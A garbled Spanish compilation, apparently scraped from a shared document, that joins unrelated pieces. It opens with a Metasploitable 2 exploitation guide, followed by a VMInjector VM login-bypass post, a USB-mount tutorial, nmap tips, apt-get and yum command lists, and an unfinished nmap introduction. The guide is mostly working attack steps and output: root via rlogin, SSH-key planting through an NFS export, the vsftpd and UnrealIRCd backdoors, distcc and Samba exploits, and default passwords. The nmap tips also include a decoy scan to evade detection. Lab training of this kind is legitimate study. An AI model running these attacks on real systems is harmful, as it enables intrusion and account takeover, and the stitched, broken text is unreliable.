Вы находитесь на странице: 1из 43

Gua de Explotabilidad de Metasploitable 2

Metasploitable 2
La mquina virtual Metasploitable es una versin de Ubuntu Linux intencionalmente vulnerable
diseada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La
versin 2 de esta mquina virtual se encuentra disponible para la descargadesde Sourceforge.net y
contiene an muchas ms vulnerabilidades que la imgen original. Esta mquina virtual es
compatible con VMWare, VirtualBox, y otras plataformas de virtualizacin comunes. De manera
predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores de
red NAT y Host-only, y la imagen no debe exponerse a una red hostl. Este artculo describe
muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta
documentacin sobre el servidor web y las fallas de aplicaciones web, as como las
vulnerabilidades que permiten a un usuario local escalar a privilegios de root.
Este documento se seguir ampliando con el tiempo a medida que muchos de los defectos menos
evidentes
en
esta
plataforma
se
vayan
encontrando.

Primeros Pasos
Despus de arrancar la mquina virtual, inicie sesin en la consola con el usuariomsfadmin y
contrasea msfadmin. Desde la shell, ejecute el comando ifconfig para identificar la direccin IP.
?

1
2
3
4
5
6

msfadmin@metasploitable:~$ ifconfig
eth0

Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1


inet addr:192.168.99.131 Bcast:192.168.99.255
Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

Servicios
Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los
servicios de red abiertos en esta mquina virtual utilizando el Scanner de Seguridad Nmap. La
siguiente lnea de comando analizar todos los puertos TCP en la instancia de Metasploitable 2:
?

1
2
3
4
5
6

root@ubuntu:~# nmap -p0-65535 192.168.99.131


Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14
PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT
STATE SERVICE
21/tcp open ftp

7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

22/tcp open ssh


23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open unknown
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open unknown
39292/tcp open unknown
43729/tcp open unknown
44813/tcp open unknown
55852/tcp open unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)

Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema. En
la siguiente seccin, caminaremos a travs de algunos de estos vectores.

Servicios: Bses de Unix


Los puertos TCP 512, 513, y 514 son conocidos como los servicios "r", y han sido configurados
errneamente para permitir acceso remoto desde cualquier mquina (una situacin tpica ".rhosts +
+"). Para tomar ventaja de esto, nos aseguraremos de que el cliente rsh-client se encuentre
instalado (en Ubuntu), y ejecutamos el siguiente comando como usuario root local. Si se nos
solicita una llave SSH, esto significa que las herramientas rsh-client no han sido instaladas y
Ubuntu est predeterminando a utilizar SSH.
?

1
2
3
4

# rlogin -l root 192.168.99.131


Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
i686
root@metasploitable:~#

Esto se pone tan bueno como se v. El prximo servicio que debe tener en cuenta es el sistema de
archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o
pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo usando rpcinfo para
identificar NFS y showmount -e para determinar que el recurso compartido "/" (la raz del sistema
de archivos) estar siendo exportado. Necesitaremos los paquetes de Ubuntu rpcbind y nfscommon para seguir adelante.
?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

root@ubuntu:~# rpcinfo
program vers proto
100000
2
tcp
100000
2
udp
100024
1
udp
100024
1
tcp
100003
2
udp
100003
3
udp
100003
4
udp
100021
1
udp
100021
3
udp
100021
4
udp
100003
2
tcp
100003
3
tcp
100003
4
tcp
100021
1
tcp
100021
3
tcp
100021
4
tcp
100005
1
udp
100005
1
tcp
100005
2
udp
100005
2
tcp
100005
3
udp
100005
3
tcp

-p 192.168.99.131
port service
111 portmapper
111 portmapper
53318 status
43729 status
2049 nfs
2049 nfs
2049 nfs
46696 nlockmgr
46696 nlockmgr
46696 nlockmgr
2049 nfs
2049 nfs
2049 nfs
55852 nlockmgr
55852 nlockmgr
55852 nlockmgr
34887 mountd
39292 mountd
34887 mountd
39292 mountd
34887 mountd
39292 mountd

root@ubuntu:~# showmount -e 192.168.99.131


Export list for 192.168.99.131:
/ *

Obtener acceso a un sistema con un sistema de archivos modificable como este es algo trivial.
Para que sea as (y porque SSH est ejecutndose), generaremos una nueva llave SSH en nuestro

sistema atacante, montamos el export NFS


archivo authorized_keys de la cuenta de usuario root:

agregamos

nuestra

llave

al

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >>
/tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t
root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
i686
root@metasploitable:~#

Servicios: Backdoors
En el puerto 21, Metasploitable 2 ejecuta vsftpd, un servidor FTP popular. Esta versin en
particular contiene una puerta trasera (backdoor) que fue introducida en el cdigo fuente por un
intruso desconocido. El backdoor fue rpidamente identificado y eliminado, pero no antes de que
unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado
terminando con la secuencia " :) " (carita felz), la versin con el backdoor abrir una shell en
escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un mdulo
de Metasploit Framework para explotarlo automticamente:
?

1
2
3
4
5
6
7
8
9
10
11

root@ubuntu:~# telnet 192.168.99.131 21


Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.
root@ubuntu:~# telnet 192.168.99.131 6200

12
13
14
15
16
17
18

Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)

En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versin contiene un
backdoor que pas desapercibido por meses, - disparado al enviar las letras "AB" seguidas de un
comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un mdulo para
explotar esto con el fin de obtener una shell interactiva, como se muestra a continuacin.
?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using y
instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at
21:53:59 -0700
id
uid=0(root) gid=0(root)

Mucho menos sutl es el viejo backdoor remanente "ingreslock" que escucha en el puerto 1524. El
puerto ingreslock era una opcin popular hace una dcada para agregar una puerta trasera a un
servidor comprometido. Accederlo es fcil:
?

1
2

root@ubuntu:~# telnet 192.168.99.131 1524


Trying 192.168.99.131...
Connected to 192.168.99.131.

3
4
5
6

Escape character is '^]'.


root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)

Servicios: Backdoors No-Intencionales


Adems de las puertas traseras maliciosas de la seccin anterior, algunos servicios son casi
puertas traseras por su propia naturaleza. El primero de estos que est instalado en Metasploitable
2 es distccd. Este programa hace que sea fcil escalar grandes tareas de compilacin a travs de
una granja de sistemas que aparentan estar configurados para tal fin. El problema con este servicio
es que un atacante puede abusar de este para ejecutar un comando a su eleccin, como lo
demuestra el uso del mdulo de Metasploit a continuacin.
?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

msfconsole
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.99.131
msf exploit(distcc_exec) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at
22:06:03 -0700
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide
links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un tipo
de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El siguiente
ejemplo utiliza un mdulo de Metasploit para proporcionar acceso al sistema de archivos raz
utilizando una conexin annima y un recurso compartido con acceso de escritura.
?

root@ubuntu:~# smbclient -L //192.168.99.131

2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

Anonymous login successful


Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Sharename
Type
Comment
-----------------print$
Disk
Printer Drivers
tmp
Disk
oh noes!
opt
Disk
IPC$
IPC
IPC Service (metasploitable server (Samba 3.0.20-D
ADMIN$
IPC
IPC Service (metasploitable server (Samba 3.0.20-D
root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf auxiliary(samba_symlink_traversal) > exploit
[*]
[*]
[*]
[*]
[*]
msf

Connecting to the server...


Trying to mount writeable share 'tmp'...
Trying to link 'rootfs' to the root filesystem...
Now access the following share to browse the root filesystem:
\\192.168.99.131\tmp\rootfs\
auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.99.131/tmp


Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/
KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]

Contraseas Dbiles
Adicionalmente a las ms flagrantes puertas traseras y errores de configuracin, Metasploitable 2
tiene terrible seguridad de contrasea tanto para la cuenta del sistema como para la cuenta del
servidor de base de datos. El usuario principal de administracinmsfadmin tiene una contrasea
que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya sea
mediante el uso de otro defecto para capturar el archivo passwd, o mediante la enumeracin de
estos identificadores de usuario a travs de Samba, un ataque de fuerza bruta puede ser utilizado
para acceder rpidamente a varias cuentas de usuario. Como mnimo, las siguientes cuentas
dbiles del sistema estn configuradas en el sistema.

Nombre Cuenta
msfadmin
user
postgres
sys
klog
service

Contrasea
msfadmin
user
postgres
batman
123456789
service

Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con el
nombre de usuario postgres y contrasea postgres, mientras que el servicio de MySQL est
abierto con el nombre de usuario root y con una contrasea en blanco. El servicio
de VNC proporciona el acceso de escritorio remoto a travs de la contrasea password.

VMInjector, bypass
authentication
Enviado por Seifreed en Ago 9, 2013 | 8 Opiniones
En el artculo de hoy os traigo otra herramienta que como pentesters deberemos
de aadir a nuestro arsenal. Se trata de VMInjector, con este script podremos
hacer bypass authentication de los principales sistemas operativos instalados
como mquinas virtuales en VMWare. Tambin puede servir para aquellos
administradores de sistema que se olviden el password de alguna mquina virtual.
Primero de todo bajamos VMInjector del repositorio de Github.
https://github.com/batistam/VMInjector
Tiene soporte para sistemas x86 y x64.
Que necesitamos?

Una mquina Windows con permisos de administrador

VMWare Workstation o VMWare player corriendo el sistema operativo.

Python, VMInjector y como dependencia el mdulo psutil.

Si estamos haciendo una auditora, nos encontraramos con esto:

Ahora lo que haremos es conseguir entrar en la mquina sin tener que conocer la
contrasea.
Arrancamos VMINjector desde el CMD con permisos de administrador.

Escogemos el target que corresponde.

Ahora nos pregunta cual es el sistema operativo del que queremos hacer unlock.

Una vez que hagamos continuar nos dirigimos hacia la mquina virtual y

Alguno puede pensar que no ha funcionado, pero solo deberemos de darle a


INTRO para iniciar sesin.

Ya podremos iniciar sesin


Como funciona VMInjector?
Inyecta una DLL (x86 y x64) en el proceso VMWare para obtener acceso a la
memoria. Una vez mapeados sus recursos, parchea la funcin correspondiente
para evadir la autenticacin y as acceder al sistema operativo de la mquina
virtual, ya sea Windows, Ubuntu o Mac OS X.
El parcheo en memoria no es persistente, as que al reiniciar la mquina virtual el
proceso de autenticacin volver a la normalidad

Si te ha gustado el post, compartelo y ayudanos a crecer.

Montar la memoria
USB en la terminal

29

22 Mar 2014 | Linux


Tags: Configuracin Debian usb

No es algo habitual pero a veces cuando se trabaja


con servidores, en caso de avera, o en cualquier otra circunstancia,
aparece la necesidad de usar una memoria USB sin disponer de ningn
entorno grfico.
Para poder montar la memoria USB desde la terminal y sin la necesidad de
ningn entorno grfico que automonte la memoria, tan solo tenemos que
seguir los siguientes pasos:

PASO 1: CREAR EL DIRECTORIO


PARA MONTAR LA MEMORIA USB
El primer paso a realizar es crear el directorio en que queremos montar la
memoria USB. Para crear el directorio en que queremos montar la memoria
USB tecleamos el siguiente comando en la terminal:
mkdir /media/usb

Nota: Este comando lo que hace es crear una carpeta con


nombre media, y dentro de la carpeta con nombre media se
creara otra carpeta con el nombre usb. En la
ubicacin /media/usb que acabamos de crear es donde
estarn y se montarn la totalidad de archivos y directorios
que tenemos en nuestra memoria USB.
Nota: En el caso que queramos montar 2 memorias USB de
forma simultanea tan solo tendramos que montar otra
ubicacin, como por ejemplo /media/usb2, y aplicar los pasos
que mostraremos a continuacin para cada una de las
memorias y directorios que hemos creado.

PASO 2: IDENTIFICAR EL
NOMBRE DE LA UNIDAD QUE
QUEREMOS MONTAR
Cada dispositivo que conectamos a nuestro sistema operativo se reconoce
con un nombre determinado. Ahora lo que tenemos que hacer es averiguar
con que nombre se reconoce nuestra memoria USB. Para ello tecleamos el
siguiente comando en la terminal sin tener el USB enchufado en el
ordenador:
ls -l /dev/sd*

Una vez tecleado el comando los aparecer un resultado similar al


siguiente:
brw-rw--brw-rw--brw-rw--brw-rw---

T
T
T
T

1
1
1
1

root
root
root
root

disc
disc
disc
disc

8,
8,
8,
8,

0
1
2
5

mar
mar
mar
mar

16
16
16
16

11:21
11:21
11:21
11:21

/dev/sda
/dev/sda1
/dev/sda2
/dev/sda5

Esto simplemente nos indica que nuestro ordenador tiene un solo


dispositivo con el nombre sda que es nuestro disco duro. sda1, sda2 y
sda5 sern las distintas particiones que tiene nuestro disco duro que en mi
caso son la boot, la root y la home.
Seguidamente enchufamos el dispositivo USB en el ordenador y
tecleamos de nuevo el mismo comando en la terminal:

ls -l /dev/sd*

Ahora aparte del contenido que apareca antes aparecer


contenido adicional. El contenido adicional que aparecer hace
referencia a nuestra memoria USB y ser algo parecido a lo siguiente:
brw-rw--brw-rw--brw-rw--brw-rw--brw-rw--brw-rw---

T
T
T
T
T
T

1
1
1
1
1
1

root
root
root
root
root
root

disc 8, 0
disc 8, 1
disc 8, 2
disc 8, 5
floppy 8,
floppy 8,

mar 16
mar 16
mar 16
mar 16
16 mar
17 mar

11:21 /dev/sda
11:21 /dev/sda1
11:21 /dev/sda2
11:21 /dev/sda5
16 11:24 /dev/sdb
16 11:24 /dev/sdb1

Como se puede en la salida del comando ha aparecido un dispositivo


nuevo con nombre /dev/sdb el cual contiene una particin con
nombre sdb1. Sin duda se trata de nuestra memoria USB y la particin
que estbamos buscando y tenemos que montar es la /dev/sdb1.
Seguidamente les dejo una captura de pantalla en la que pueden ver el
proceso que seguido para la identificacin de la denominacin de la
memoria USB.

PASO 3: MONTAR LA MEMORIA


USB CON LA TERMINAL
Con la informacin que tenemos ya podemos montar la memoria USB. En
mi caso el sistema de archivos de mi memoria USB es FAT. Por lo tanto en
el caso que sistema de archivos de la memoria USB o pendrive
sea FAT el comando a usar para montar la memoria USB es el
siguiente:
mount -t vfat /dev/sdb1 /media/usb

Nota: La palabra mount indica montar. Con el parmetro -t


vfat estamos especificando que el sistema de archivos a
montar es del tipo FAT. /dev/sdb1 es la particin de nuestra
memoria USB y/media/usb es el directorio en que se montar
el contenido de la particin /dev/sdb1 de nuestra memoria
USB.
En el caso que mi memoria USB estuviera formateada en NTFS el
comando para montar la memoria USB seria el siguiente:
mount -t ntfs-3g /dev/sdb1 /media/usb

Nota: La palabra mount indica montar. Con el parmetro -t


ntfs-3g estamos especificando que el sistema de archivos a
montar es del tipo NTFS. /dev/sdb1 es la particin de nuestra
memoria USB y/media/usb es el directorio en que se montar
el contenido de la particin /dev/sdb1 de nuestra memoria
USB.
En el caso poco probable que alguien tenga formateada su
memoria USB en formatoext4 el comando para montar la memoria USB
debera ser el siguiente:
mount -t ext4 /dev/sdb1 /media/usb

Nota: La palabra mount indica montar. Con el parmetro -t


ext4 estamos especificando que el sistema de archivos a
montar es del tipo ext4. /dev/sdb1 es la particin de nuestra
memoria USB y/media/usb es el directorio en que se montar
el contenido de la particin /dev/sdb1 de nuestra memoria
USB.

PASO 4: REALIZAR LAS


OPERACIONES QUE TENEMOS
QUE REALIZAR
Una vez realizados todos estos pasos ya tenemos la memoria USB montada
y es plenamente operativa.
Ahora mediante la introduccin de comandos en la terminal ya
podemos renombrar archivos dentro de nuestra memoria USB,
copiar archivos del disco duro a la memoria USB, etc. Solo para
mostrarles un ejemplo:

Tal y como podemos ver en la captura de pantalla si queremos ver el


contenido que tenemos en nuestra memoria USB tan solo tenemos que
teclear el comando:
ls /media/usb

Si quieren realizar otras operaciones diferentes a la mencionada tan solo


tendrn que usar el comando pertinente.

PASO 5: DESMONTAR LA
MEMORIA USB
Una vez hayamos terminado de realizar todo lo que tenemos que realizar
con la memoria usb tan solo tenemos que desmontarla. Para desmontarla
tienen que introducir el siguiente comando en la terminal:
umount /media/usb

Nota: umount indica desmontar. /media/usb indica la ruta


donde tenamos montada nuestra memoria USB.
Una vez desmontada la memoria ya la pueden sacar del ordenador.

10 Tips y Tricks para NMAP


Nmap (Network Mapper) es una herramienta libre y con licencia open source utilizada para
explorar la red o realizar auditoras de seguridad. Muchos sistemas y administradores de red la
encuentran til tambin para tareas tales como inventario de la red, administrar horarios de
actualizaciones y monitorear tiempos de actividad de servicios o mquinas.
1. Obtener informacin sobre puertos y deteccin del sistema operativo de un sistema o
host.
?

nmap -sS -P0 -sV -O < objetivo >

Donde < objetivo > puede ser una direccin IP simple, un nombre de mquina o una direccin de
red.
-sS exploracin TCP SYN (conocida tambin como medio-abierta, o anlisis sigiloso)
-P0 opcin que nos permite desactivar los pings ICMP.
-sV opcin que habilita la deteccin de versin del sistema operativo
-O es una bandera que intenta identificar el sistema operativo remoto
Otras opciones:
-A habilita la deteccin tanto del sistema operativo como de la versin
-v al utilizar el parmetro -v dos veces obtendremos mayor detalle del anlisis (verbosity).

2. Obtener una lista de servidores con un puerto especfico abierto

nmap -sT -p 80 -oG 192.168.1.* | grep open

Podemos cambiar el valor del parmetro -p para definir el nmero del puerto a buscar. Busquemos
en man nmap las diferentes formas de especificar rangos de direcciones.

3. Encontrar todas las direcciones IP activas en la red


?

nmap -sP 192.168.0.*

Existen muchas otras opciones. Esta es ligera y simple.


Otra opcin es:
?

nmap -sP 192.168.0.0/24

para direcciones especficas.

4. Ping a un rango de direcciones IP


?

nmap -sP 192.168.1.100-254

nmap accepta una amplia variedad de notaciones de direccionamiento, mltiples objetivos/rangos,


etc.

5. Encontrar direcciones IP no utilizadas en una red definida


?

nmap -T4 -sP 192.168.2.0/24 && egrep 00:00:00:00:00:00


/proc/net/arp

6. Explorar en bsqueda del virus Conficker en la red LAN


?

nmap -PN -T4 -p139,445 -n -v script=smb-check-vulns script-args safe=1


192.168.0.1-254

Podemos reemplazar el rango 192.168.0.1-254 con el rango de la red que queremos verificar.

7. Explorar la red en bsqueda de AP's falsos (Rogue AP's)


?

nmap -A -p1-85,113,443,8080-8100 -T4 min-hostgroup 50 max-rtt-timeout 2000 initial


wapscan 10.0.0.0/8

Esta tcnica es bastante efectiva para encontrar de forma exitosa muchos puntos de acceso Wi-Fi
falsos en redes muy grandes.

8. Utilizar un seuelo mientras se analizan los puertos para evitar ser detectados por el
sysadmin
?

nmap -sS 192.168.0.10 -D 192.168.0.2

Explora en bsqueda de puertos abiertos en la mquina (192.168.0.10) mientras establece una


direccin seuelo (192.168.0.2). Esto mostrar la direccin seuelo en lugar de nuestra direccin
real en los registros de seguridad del objetivo. La direccin seuelo debe ser de una mquina
activa. Verifiquemos los registros de seguridad del objetivo en /var/log/secure para asegurarnos
que funciona.

9. Lista de registros reversos DNS para una red especfica


?

nmap -R -sL 209.85.229.99/27 | awk {if($3==not)print($2) no PTR;else print$3 i


grep (

Este comando utiliza nmap para realizar bsquedas reversas de DNS en una red. Produce una
lista de direcciones IP con el registro PTR correspondiente para una red especfica. Podemos
ingresar la direccione de la red en notacin CDIR (Por ejemplo, /24 para una red clase C).
Podemos agregar dns-servers x.x.x.x despus de los argumentos -sL si se requiere que las
bsquedas se realicen para un servidor DNS especfico.

10. Cuantos dispositivos Linux y Windows hay en la red?


?

nmap -F -O 192.168.0.1-255 | grep Running: > /tmp/os; echo $(cat /tmp/os | grep Lin
Window(s) devices

Probablemente se requieran privilegios de root para ejecutar esta exploracin.


Recordemos no practicar estas tcnicas en redes o mquinas que no nos pertenecen o a las
cuales no tenemos autorizacin.

Comando apt-get en Ubuntu


Actualizado a 20 de Abril de 2014

Siguiendo mi intencin de acercar la terminal (esa cosa tan rara) a los nuevos usuarios, vamos
a hablar del comando "apt-get".
apt-get es la herramienta que utiliza Debian y sus derivadas (Ubuntu incluida), para
gestionar los paquetes instalables disponibles en los repositorios y aunque tenemos a nuestra
disposicin herramientas grficas que nos facilitan las cosas, nunca est de ms saber lo que
podemos hacer con apt-get desde una terminal:

En Ubuntu, los comandos administrativos, como "apt-get", deben de ser ejecutados como
superusuario, anteponiendo "sudo".

Uso:
sudo apt-get [opciones] orden [paquetes]
Ejemplos:
sudo apt-get [opciones] install paquete1 paqquete2 ...
sudo apt-get [opciones] remove paquete1 [paqquete2 ...
sudo apt-get [opciones] source paquete1 paquete2 ...
[opciones] se puede utilizar o no (ver el apartado correspondiente).

Comandos "apt-get":
1. Actualizar el listado de paquetes disponibles:
sudo apt-get update

2. Comprobar que todo ha ido bien tras la utilizacin de apt-get update:


sudo apt-get check
3. Instalar los programas deseados:
sudo apt-get install paquete
4. Reinstalar un programa:
sudo apt-get -reinstall install paquete
5. Actualizar solo los paquetes ya instalados que no necesitan, como dependencia, la
instalacin o desinstalacin de otros paquetes:
sudo apt-get upgrade
6. Actualizar todos los paquetes del sistema, instalando o desinstalando los paquetes que sean
necesarios para resolver las dependencias que pueda generar la actualizacin de algn
paquete:
sudo apt-get dist-upgrade
7. Desinstalar un paquete:
sudo apt-get remove paquete
8. Desinstalar un paquete y elimina los archivos de configuracin:
sudo apt-get remove --purge paquete
9. Resolver problemas con dependencias y paquetes rotos:
sudo apt-get -f install
Puede ser necesario reconfigurar dpkg con:
sudo sudo dpkg --configure -a
10. Para limpiar los paquetes descargados e instalados:
sudo apt-get clean
11. Para limpiar los paquetes viejos que ya no se usan:
sudo apt-get autoclean

12. Para buscar un paquete determinado:


sudo apt-cache search paquete
13. Descargar archivos fuente:
sudo apt-get source paquete
14. Configurar las dependencias de construccin para paquetes fuente:
sudo apt-get build-dep paquete
15. Seguir las selecciones de dselect:
sudo apt-get dselect-upgrade
16. Para conocer que paquetes hay instalados:
sudo apt-show-versions (-u)
17. Obtener ms informacin de un paquete especfico:
sudo apt-cache show paquete
18. Ms informacin an:
sudo apt-cache showpkg paquete
19. Para saber de que paquete depende:
sudo apt-cache depends paquete
20. Para encontrar el nombre de un paquete desde un archivo:
sudo apt-file search archivo
21. Listar el contenido de un paquete:
sudo apt-file list paquete
22. Para mantener al da esta funcin:
sudo apt-file update
23. Para mantener el sistema limpio de bibliotecas intiles:

sudo apt-get autoremove


24. Actualizar la cach de paquetes (/var/cache/apt/pkgcache.bin), crea un nuevo rbol de
dependencias:
sudo apt-get check
25. Mostrar un resumen de las dependencias no satisfechas en la cach de paquetes:
sudo apt-cache unmet
26. Mostrar una lista de todo lo que tenemos instalado en el sistema:
sudo apt-cache pkgnames -generate

Opciones:
-s
-d
-y
-u
-h
-q
-qq
-f
-m
-b
-V
-c=?
-o=?

Simula una accin.


Slo descarga.
No pregunta y asume que si a todo.
Muestra paquetes actualizados.
Muestra texto de ayuda.
Salida registrable - sin indicador de progreso.
Sin salida, excepto si hay errores.
Intenta continuar s la comprobacin de integridad falla (dependencias rotas).
Intenta continuar si los archivos no son localizables.
Construye el paquete fuente despus de obtenerlo.
Muesta nmeros de versin detallados.
Lee este archivo de configuracin.
Establece una opcin de configuracin arbitraria.

Comando "apt":
Actualizacin: A partir de Ubuntu 14.04, el gestor de paquetes apt ("Avanced Package Tool")
tiene nuevas opciones. Ya no es necesario escribir "apt-get" y se puede utilizar simplemente
"apt", (apt seguir funcionando).
1. Buscar y mostrar los paquetes instalados por su nombre:
sudo apt list
2. Buscar en las descripciones de los paquetes:

sudo apt search ...


3. Mostrar los detalles de un paquete:
sudo apt show paquete
4. Actualizar la lista de paquetes disponibles:
sudo apt update
5. Instalar un paquetes
sudo apt install paquete
6. Eliminar un paquete
sudo apt remove paquete
7. Actualizar el sistema actualizando paquetes
sudo apt upgrade
8. Actualizar todo el sistema eliminando, instalando o actualizando paquetes
sudo apt full-upgrade
9. Editar la informacin de las fuentes de software ("sources.list") llamando a nano o vim.
sudo apt edit-sources

Tambin te puede interesar leer:


Comandos bsicos para la terminal de Ubuntu

Comandos especficos para la terminal de Ubuntu

Como utilizar los comandos su y sudo

La cuenta del superusuario o root en Ubuntu

12.2.

yum

Commands

yum commands are typically run as yum <command> <package name/s>. By default, yum will

automatically attempt to check all configured repositories to resolve all package dependencies
during an installation/upgrade.
The following is a list of the most commonly-used yum commands. For a complete list of
available yumcommands, refer to man yum.
yum install <package name/s>

Used to install the latest version of a package or group of packages. If no package


matches the specified package name(s), they are assumed to be a shell glob, and any
matches are then installed.
yum update <package name/s>

Used to update the specified packages to the latest available version. If no package
name/s are specified, then yum will attempt to update all installed packages.
If the --obsoletes option is used (i.e. yum --obsoletes

<package name/s>, yum

will process

obsolete packages. As such, packages that are obsoleted accross updates will be
removed and replaced accordingly.
yum check-update

This command allows you to determine whether any updates are available for your
installed packages. yumreturns a list of all package updates from all repositories if any
are available.
yum remove <package name/s>

Used to remove specified packages, along with any other packages dependent on the
packages being removed.
yum provides <file name>

Used to determine which packages provide a specific file or feature.


yum search <keyword>

This command is used to find any packages containing the specified keyword in the
description, summary, packager and package name fields of RPMs in all repositories.
yum localinstall <absolute path to package name/s>

Used when using yum to install a package located locally in the machine.

Nmap ("Network Mapper") es una herramienta de cdigo abierto para exploracin de red y
auditora de seguridad. Fue diseado para escanear rpidamente grandes redes, aunque
funciona bien contra los ejrcitos individuales. Nmap utiliza paquetes IP en bruto en formas
novedosas para determinar qu hosts estn disponibles en la red, qu servicios (nombre de la
aplicacin y versin) estos equipos ofrecen, qu sistemas operativos (y versiones del sistema
operativo) que se estn ejecutando, qu tipo de filtros de paquetes / cortafuegos estn en uso, y
docenas de otras caractersticas. Mientras Nmap es comnmente utilizado para las auditoras de
seguridad, muchos sistemas y administradores de red resulta til para tareas de rutina, tales
como inventario de red, gestin de horarios de servicios de actualizacin y supervisin de host o
tiempo de servicio.

Caracteristicas
Qu equipos te enteraste que se ejecuta en la red local?
2. Qu direcciones IP Te ha resultado que se ejecuta en la red local?
3. Qu es el sistema operativo de su equipo de destino?

4. Para saber qu puertos estn abiertos en la mquina que usted acaba de escanear?
5. Averige si el sistema est infectado con malware o virus.
6. Bsqueda de servidores no autorizados o servicios de red en la red.
7. Buscar y quitar los equipos que no cumplen con el nivel mnimo de la organizacin de la
seguridad.

Ejemplos
Escanear un nico host o una direccin IP (IPv4)
# # # Escanear una nica direccin IP # # #
